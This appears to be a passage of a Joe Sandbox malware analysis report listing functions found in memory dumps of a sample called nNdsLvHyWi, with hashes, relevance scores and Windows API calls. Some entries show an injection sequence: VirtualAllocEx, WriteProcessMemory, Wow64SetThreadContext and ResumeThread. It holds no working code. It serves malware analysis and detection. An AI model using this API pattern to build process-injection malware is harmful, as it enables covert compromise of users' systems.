Opcode ID: e5dc9f500b550cad5697da47bf6c2bf0ddfae94327dc5134824623194ebfd23b
Instruction ID: d072cb04fffae3937d71a99ae6e4107b80724b428916728cffe9b5d9dbef0bb4
Opcode Fuzzy Hash: e5dc9f500b550cad5697da47bf6c2bf0ddfae94327dc5134824623194ebfd23b
Instruction Fuzzy Hash: 57915A71D00619DFEF50CF68C881BEDBBB2BF48310F5485A9E918A7280DB759A85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00F9AD68 Relevance: 1.7, APIs: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00F9AFBE

Memory Dump Source

Source File: 0000000B.00000002.2146191795.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_f90000_nNdsLvHyWi.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b792924d743197f84384c44733841de33f5acfc55495f141a84b7332eced497b
Instruction ID: dae8ca3d3900b3a04a6bc36db7989372d98a0822b03d4738bc38f751bf8fbb2f
Opcode Fuzzy Hash: b792924d743197f84384c44733841de33f5acfc55495f141a84b7332eced497b
Instruction Fuzzy Hash: F2814770A00B058FEB64DF2AD44575ABBF1FF88314F108A2DD44AD7A50DB75E849CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F9590C Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00F959C9

Memory Dump Source

Source File: 0000000B.00000002.2146191795.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_f90000_nNdsLvHyWi.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 23348dae3886c843c69cd05a1fd13f6961db21f040645a3a635ae3964e1b1b48
Instruction ID: a00ee6b77c9a90fa7acd812b17699bceccbc5c5f234326498d492704b42d662b
Opcode Fuzzy Hash: 23348dae3886c843c69cd05a1fd13f6961db21f040645a3a635ae3964e1b1b48
Instruction Fuzzy Hash: 2541F2B0C00719CBEF25CFA9C88479EBBB5BF48714F20816AD408AB255DB756945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00F95A84 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2146191795.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_f90000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0083fbc09ecebb26a4cbf37193f1d1b44713ea1f1f8720459aacb8a270b39ec5
Instruction ID: 60a957aa910c529a91c7b25e4b35e038118731fe65824ff9326bf51c65260bb7
Opcode Fuzzy Hash: 0083fbc09ecebb26a4cbf37193f1d1b44713ea1f1f8720459aacb8a270b39ec5
Instruction Fuzzy Hash: 2331DF71C00B58CFEF12CFA9C8447ADBBF1AF95B24F504189C405AB256C7799906DF40

Uniqueness

Uniqueness Score: -1.00%

Function 00F944B4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00F959C9

Memory Dump Source

Source File: 0000000B.00000002.2146191795.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_f90000_nNdsLvHyWi.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: acbcb7e06a00b45853ada948c97b82a2a3c6f71f15e4e44f886bbfba1d11a67b
Instruction ID: 903603e65f63cb3c9565161148ef98108c77aaec7c7cc264436973365c81f64d
Opcode Fuzzy Hash: acbcb7e06a00b45853ada948c97b82a2a3c6f71f15e4e44f886bbfba1d11a67b
Instruction Fuzzy Hash: 1341E2B0C0071DCBEF25CFAAC88478EBBB5BF44714F608159D408AB251DBB56945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06CD55B7 Relevance: 1.6, APIs: 1, Instructions: 70
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06CD5648

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 40fe74ec9cdcaa740173b1361b4a737ac20d23c7ee7b41cf9284b7774cd09c10
Instruction ID: 8a022c3bc5fb394857929e219247e9b9f206ae48767a8f7189c8a0e17e6ce8a9
Opcode Fuzzy Hash: 40fe74ec9cdcaa740173b1361b4a737ac20d23c7ee7b41cf9284b7774cd09c10
Instruction Fuzzy Hash: 032127759003499FDF10CFA9C981BDEBBF5FF48320F50842AEA18A7240D7789951CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 06CD55B8 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06CD5648

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 1a6443a2f7fb8adc7ae3747034a6505fc9a5353964f1e3237db392ee5d04b8ce
Instruction ID: 53607f642018ef34b4f1430064d2eedc43f69321bdf15723ea37d47a8c27aa41
Opcode Fuzzy Hash: 1a6443a2f7fb8adc7ae3747034a6505fc9a5353964f1e3237db392ee5d04b8ce
Instruction Fuzzy Hash: E72127719003499FDF10CFA9C981BDEBBF5FF48320F50842AEA18A7240D7789951CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 06CD56A0 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06CD5728

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: fccdc5000052256dc8af88a2b5ac97ee3544de8863b44b060f183c35ac71d334
Instruction ID: 8baea44ad0a08f227dc7f93c2c54ba801b5ab8d4ef19e64bccdd20730df6708d
Opcode Fuzzy Hash: fccdc5000052256dc8af88a2b5ac97ee3544de8863b44b060f183c35ac71d334
Instruction Fuzzy Hash: F42139718003499FDF10CFAAC981BDEBBF5FF88320F508429E918A7240D7789550CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F9D648 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00F9D6D7

Memory Dump Source

Source File: 0000000B.00000002.2146191795.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_f90000_nNdsLvHyWi.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3d0251f5c1fc30156fd31c4f78b3280a71ec8ca390ecfd999b5d25af58b2d6ff
Instruction ID: 1c357cca5f25a17b8dff9c02de51bc88667099f748354b506093da44526b6be5
Opcode Fuzzy Hash: 3d0251f5c1fc30156fd31c4f78b3280a71ec8ca390ecfd999b5d25af58b2d6ff
Instruction Fuzzy Hash: 3C2103B59002099FDF10CF9AD884AEEBFF5FB48320F20801AE918A3310C378A950CF64

Uniqueness

Uniqueness Score: -1.00%

Function 06CD4FE7 Relevance: 1.6, APIs: 1, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06CD5066

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ae36e71c5e61543bd9cbed1bede1bcf98a6baf166f3719c56c7194ab43775b27
Instruction ID: 379981be4448fae9039a9c27cb4425397d245b7b127c79ccb20ae250d6a8dd26
Opcode Fuzzy Hash: ae36e71c5e61543bd9cbed1bede1bcf98a6baf166f3719c56c7194ab43775b27
Instruction Fuzzy Hash: E0216871D003098FDB10DFAAC881BEEBBF4AF88324F54842DD518A7240CB78A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06CD56A8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06CD5728

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 53538043139eb4d2e6f8d87b646c41df3b9c97e2976dc95d0fcb86ec0eda1b97
Instruction ID: 44a14c171b8a7bfe1b38e4696bcaf0843e1101ff5881521e6e17ca49ded13a77
Opcode Fuzzy Hash: 53538043139eb4d2e6f8d87b646c41df3b9c97e2976dc95d0fcb86ec0eda1b97
Instruction Fuzzy Hash: 1F2116B18003499FDB10CFAAC981ADEBBF5FF48320F508429E918A7240D7789550CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 06CD4FE8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06CD5066

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ae662d1f66e10232730b2aae30e1327d2ad389f0ef3056c643459ff9fe9aaea7
Instruction ID: 751ff9774aca9b88c3bf4d6008fd91b96ab0b68ad8ff3741c80e159bb46907f4
Opcode Fuzzy Hash: ae662d1f66e10232730b2aae30e1327d2ad389f0ef3056c643459ff9fe9aaea7
Instruction Fuzzy Hash: 8C213871D003498FDB50DFAAC4857EEBBF4AF88364F54842DD519A7240CB78A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F9D650 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00F9D6D7

Memory Dump Source

Source File: 0000000B.00000002.2146191795.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_f90000_nNdsLvHyWi.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 21203e513bd475d574e8fd7be73a05a5e962348d819eef4bf7d7d0142c7bb0fb
Instruction ID: d6be0a077b798bfe72b8db3eb97b7cc750cafb913b43b8a057186bccda701039
Opcode Fuzzy Hash: 21203e513bd475d574e8fd7be73a05a5e962348d819eef4bf7d7d0142c7bb0fb
Instruction Fuzzy Hash: 3E21C4B5900249DFDB10CF9AD984ADEBBF5FB48320F14841AE918A7350D374A954CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00F9B1D9 Relevance: 1.6, APIs: 1, Instructions: 58libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00F9B039,00000800,00000000,00000000), ref: 00F9B24A

Memory Dump Source

Source File: 0000000B.00000002.2146191795.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_f90000_nNdsLvHyWi.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3400d13ea4f712a4264fbd07989a8cad2c8241c9ef5dbef86e4dd317b6884bf4
Instruction ID: 8cbf732e4b34c7067442db8f60880d83c6b82b879f296299a4c6b9a59cc718b1
Opcode Fuzzy Hash: 3400d13ea4f712a4264fbd07989a8cad2c8241c9ef5dbef86e4dd317b6884bf4
Instruction Fuzzy Hash: 442144B2C003499FDB10CF9AD944AEEFBF5EB88320F14842AD915A7200C3B5A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F9A0F0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00F9B039,00000800,00000000,00000000), ref: 00F9B24A

Memory Dump Source

Source File: 0000000B.00000002.2146191795.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_f90000_nNdsLvHyWi.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5ce4e7712ed4d3543ac4d5eda932d9082007dc0417f70403c336fdb0b79bd08b
Instruction ID: 0821bf3eacfc6297bce6bb9707bffa60619f494bc2c414d5fc60c4755e33375b
Opcode Fuzzy Hash: 5ce4e7712ed4d3543ac4d5eda932d9082007dc0417f70403c336fdb0b79bd08b
Instruction Fuzzy Hash: CE1117B6D043498FDB10CF9AD544B9EFBF4EB88720F10842AE915A7210C3B5A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06CD54F7 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06CD5566

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fcd88a9a5534d4246d188539e2ec9f7ed756d5f7712f674187249dca81db2150
Instruction ID: 20a12449909f3e479a8532c328a5aa14fc7a1bfb9154c2cf8cf7967b8c213fda
Opcode Fuzzy Hash: fcd88a9a5534d4246d188539e2ec9f7ed756d5f7712f674187249dca81db2150
Instruction Fuzzy Hash: BB1126729002499FDF10DFAAC845BDFBFF5AF88720F148419E619A7250CB75A550CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06CD54F8 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06CD5566

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a8105f92e2675a8489ddf14db3ccf1ea9cf91331ea224a769f54893a17482962
Instruction ID: e9c2970295a97a35e1e0986e1ca41dd868734ee34a7dc96921afbf3226c6a1e8
Opcode Fuzzy Hash: a8105f92e2675a8489ddf14db3ccf1ea9cf91331ea224a769f54893a17482962
Instruction Fuzzy Hash: 741126729002499FDF10DFAAC845BDEBBF5AF88720F148419E619A7250C775A550CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06CD4F33 Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06CD4F9A

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 360ee80e3868f2e5522f9c81ef5df33a36559ac6a6e5518cc12f519423832b90
Instruction ID: 696bf235e92f405fbc0df9379bc6fa0211805b3e3a2fac96c35ef9ed88aa7be2
Opcode Fuzzy Hash: 360ee80e3868f2e5522f9c81ef5df33a36559ac6a6e5518cc12f519423832b90
Instruction Fuzzy Hash: 741158B19003498FDB24DFAAC8457EEFBF5EF88724F248419D519A7250CB75A904CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06CD4F38 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06CD4F9A

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c6162582ba75ebbb23c65a5a5598634e16d621605949b9db4267104a7355122e
Instruction ID: f0932282791cf981e681abba1b6c50f816f89c0fe2542798549456458c71d46a
Opcode Fuzzy Hash: c6162582ba75ebbb23c65a5a5598634e16d621605949b9db4267104a7355122e
Instruction Fuzzy Hash: C2113AB1D003498FDB14DFAAC84579EFBF5EF88724F248419D519A7250CB75A540CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06CD957B Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06CD95DD

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ac067eb50c7f28df5e85b2606f76b0ccfdb2e28391cd13a5b3ce4393f967dae7
Instruction ID: ff9c69c9613d141e7fc38f0355bcf1fcd2f14122ab721384df9b68b9533fb637
Opcode Fuzzy Hash: ac067eb50c7f28df5e85b2606f76b0ccfdb2e28391cd13a5b3ce4393f967dae7
Instruction Fuzzy Hash: 481106B98003499FDB50CF99D885BDFBBF8FB48320F108459E915A7210D775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06CD7900 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06CD95DD

Memory Dump Source

Source File: 0000000B.00000002.2150461649.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cd0000_nNdsLvHyWi.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 92dbf87dce0ac107df369b1fed0e3350ebdb06cafa999f574fa52c655320afea
Instruction ID: b26902a384374f46bd69f212fbb4563d35fd6f3c512eb449ac3f8fca927d4584
Opcode Fuzzy Hash: 92dbf87dce0ac107df369b1fed0e3350ebdb06cafa999f574fa52c655320afea
Instruction Fuzzy Hash: 0E11F2B58003499FDB50DF9AC885BDEFBF8EB48320F108559E918A7210D3B5AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00F9AF58 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00F9AFBE

Memory Dump Source

Source File: 0000000B.00000002.2146191795.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_f90000_nNdsLvHyWi.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7f9150615c7553830b5f59aa166e9c74e4df5c342aee7d69b4b31de193f17995
Instruction ID: 3ffa377e42061d96ef9680c2179d50570ffc68cb099cd5a9c466680f991ecb53
Opcode Fuzzy Hash: 7f9150615c7553830b5f59aa166e9c74e4df5c342aee7d69b4b31de193f17995
Instruction Fuzzy Hash: 0F11E0B6C007498FDB10CF9AD444BDEFBF4AF88328F10845AD829A7610D3B9A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06D133E0 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2150504044.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d10000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f78d5f3c4e737e230721657f336c78e38cdaeb50d59344ab6df609e2875b9de
Instruction ID: 85846915f652a6c169ef888d96b71ab5d0b6d160ebc8f8ab6e26a2705bdca6f4
Opcode Fuzzy Hash: 1f78d5f3c4e737e230721657f336c78e38cdaeb50d59344ab6df609e2875b9de
Instruction Fuzzy Hash: B37119B5E002489FDB08DFAAD855BDDBBB2FB89300F108129E509BB398DB345945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 06D13698 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2150504044.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d10000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c9b14f97658c5f7bc681e2443bf123bc40fa6e6be382b8dabb06fa4997c3a26
Instruction ID: 98150ca368c33dc269f00bfadb09b0115f27d5772eb194d0787d8d463c9af4e7
Opcode Fuzzy Hash: 3c9b14f97658c5f7bc681e2443bf123bc40fa6e6be382b8dabb06fa4997c3a26
Instruction Fuzzy Hash: 878190B4E00218DFDB64DFA4D955B9DBBB2FB89300F1080A9E909A7355DB349E82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06D1DD30 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2150504044.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d10000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47c82590e43193669f2f3b6221ef4558843a54855fb2e7ba399b3b62f892587e
Instruction ID: 9a49b2a0d37a59d8742bc22b89f5f0a5b4c6bbe8d430e59af1f19e862d96d74b
Opcode Fuzzy Hash: 47c82590e43193669f2f3b6221ef4558843a54855fb2e7ba399b3b62f892587e
Instruction Fuzzy Hash: 1451E6B5E0021D9FDB04DFE9D444AEEBBB6FF89301F108029E915AB254D7745A46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06D1CC28 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2150504044.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d10000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57805304f73a64d1570c681cd9038047fbd76fb2b53a3cd84e2c7d78a91784dd
Instruction ID: d71b7c56b0069e32e5d9d6cd492014622c7a06b93f6cc24fd99f40e08cd0017a
Opcode Fuzzy Hash: 57805304f73a64d1570c681cd9038047fbd76fb2b53a3cd84e2c7d78a91784dd
Instruction Fuzzy Hash: B841F174E112189FDB00DFA8D884AEEBBB2FB4C320F149555E800B7355D775A995CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06D170DA Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2150504044.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d10000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2862f311cbd1cd425c83ea122c2a08d3597b9c060190b2216fb6968f56fd8256
Instruction ID: d8841b65998e4df802220c32a114d5fc997b92261b1d6aa3d306c1c81a0323e1
Opcode Fuzzy Hash: 2862f311cbd1cd425c83ea122c2a08d3597b9c060190b2216fb6968f56fd8256
Instruction Fuzzy Hash: 6541F5B4D05228DFEBA0CF24EC98B99BBB1BB49305F0060E9E50DAB251D7B45AC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 06D1EB50 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2150504044.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d10000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25942524c36a990246f544eaec64b1e50599b46f3099543f67ad1c91c0e10d33
Instruction ID: 7ebc29e24fd1d5244ad856c6266e2deabbb4ae0a94b3ea21b76c295988d00b7e
Opcode Fuzzy Hash: 25942524c36a990246f544eaec64b1e50599b46f3099543f67ad1c91c0e10d33
Instruction Fuzzy Hash: B9312A70E00208DFDB44DFA9D544AEEBBB2FF88310F14816AD815AB354DB759981CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00A1D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2145335664.0000000000A1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a1d000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3665d9dd0a8051ec7c65890e032436be992e8b603b9c939dcb97075d8dfc88f8
Instruction ID: 77d12ff34c6c7dd32b3f209deaf25af237cc80ce658c1f239972d0025b007405
Opcode Fuzzy Hash: 3665d9dd0a8051ec7c65890e032436be992e8b603b9c939dcb97075d8dfc88f8
Instruction Fuzzy Hash: A7212876504204EFDB04DF14D9C0B66BF65FB98324F24C56DE90A0F256C336E896CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 06D15360 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2150504044.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d10000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 955a31aa49e83ccb8e71b507bf15e2eca118b7e321dc72f1dca95c829bb2fa79
Instruction ID: 859ac5e5ca56d728fdaf07594929b5ebb238544077fcff955b9364f03d1f97fe
Opcode Fuzzy Hash: 955a31aa49e83ccb8e71b507bf15e2eca118b7e321dc72f1dca95c829bb2fa79
Instruction Fuzzy Hash: 0B3102B5E00209EFDB04DFA9E5446EEBBF1EB8D300F10806AD405B7294EB785A55CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06D1DA68 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2150504044.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d10000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 735aa389fb48b62ba47690967615e33bd54b34fcf01a518f0d75a2b88f9deb0d
Instruction ID: 1d808f101a40aedcd851f3f44a33c97354bff25fab7d48e010d5d32838aa20a4
Opcode Fuzzy Hash: 735aa389fb48b62ba47690967615e33bd54b34fcf01a518f0d75a2b88f9deb0d
Instruction Fuzzy Hash: 0D3116B4E0020DEFDB44DFA9D5456AEBBB2FF88300F108129D416AB355DB785A41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00A2D294 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2145412197.0000000000A2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a2d000_nNdsLvHyWi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0c5aab239f327050291b02a3a1a78b2a6bf72aca006b19eaa1167752dc6a152
